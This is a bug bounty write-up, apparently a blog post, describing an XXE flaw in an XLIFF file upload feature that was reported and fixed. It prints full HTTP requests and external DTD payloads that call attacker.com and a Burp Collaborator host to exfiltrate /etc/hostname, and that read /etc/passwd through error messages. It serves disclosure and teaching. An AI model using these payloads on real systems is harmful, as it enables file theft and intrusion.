بسم الله الرحمن الرحيم

Some of the Information on this Post such as Target URL, Endpoint, and several others was modified due to Protect the Privacy of the Program

I like finding bugs in apps that have a lot of features. The more complex the application, the more likely there are bugs in it.

A Few times ago, I had the opportunity to do Bug Hunting activities in one of the Private. In this program, there is a complex application with various features. One of the features in the application is Localization. We can change the Localization of the application by uploading an XLIFF file.


What is the XLIFF File?

According to the Wikipedia:

XLIFF (XML Localization Interchange File Format) is an XML-based bitext format created to standardize the way localizable data are passed between and among tools during a localization process and a common format for CAT tool exchange.

As you can see, the XLIFF file is based on XML. And where there’s XML, there’s probably XXE vulnerability.

The initial test is by adding XXE payload and pointing the request to the Burp Collaborator. I use parameter entities for my payload because general entities doesn’t work and I have no idea why.

POST /redacted-endpoint HTTP/2
Host: target.com
Cookie: -
Content-Length: -
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Dnt: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqBdAsEtYaBjTArl3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6,ms;q=0.5
Connection: close

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

The server response with an error:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

But we got a hit on Burp Collaborator:

Full Local File Read via Error Based XXE using XLIFF File

This confirm that the application was vulnerable to XXE Injection.


Exfiltrating Data via Out of Band

Next is try to exfiltrate the Local File, I create an external DTD and host it in my VPS:

<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'https://redacted.burpcollaborator.net/?xxe=%data;'>">
%foo;
%xxe;

And the payload was modified by adding an external DTD on it:

POST /redacted-endpoint HTTP/2
Host: target.com
Cookie: -
Content-Length: -
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Dnt: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqBdAsEtYaBjTArl3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6,ms;q=0.5
Connection: close

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Then I was able to get the content of /etc/hostname file in the Burp Collaborator request.

Full Local File Read via Error Based XXE using XLIFF File

Based on the displayed User Agent, it appears that it is using Java 1.8. One of the problems when exploiting XXE on this version of Java is we’re unable to obtain the files containing a New Line such as /etc/passwd using the Out of Band technique.

I’ve try to exfiltrate using FTP, but the content still isn’t full.

Full Local File Read via Error Based XXE using XLIFF File

Actually, this is enough to prove an XXE vulnerability that can be exploited to obtain Local Files. But to show the real impact, I tried to find a way to get the file in its entirety.


Exfiltrating Data via Error Based

Back to the Error response:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

We can see that in the error message there is a URL that we put in the payload. This can be used to obtain the full contents of the Local File.

Details on this technique can be seen in this amazing video from @pwnfunction: XXE Challenge - Google CTF

The idea is by fetching the Local File and adding it’s content as file filename. Because the file is doesn’t exist in the server, then the server will throw an error with the name of the file which is the content of the Local File.

The initial test is by modifying the DTD to fetch the non-exist file in the server and check if the path is reflected in the Error message.

DTD File:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Server Response:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Great! The non-exist file is reflected in the Error messages. Next is adding the File Content.

DTD File:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

And the File was successfully extracted!

Full Local File Read via Error Based XXE using XLIFF File

The vulnerability reported with P1 severity and now it was fixed.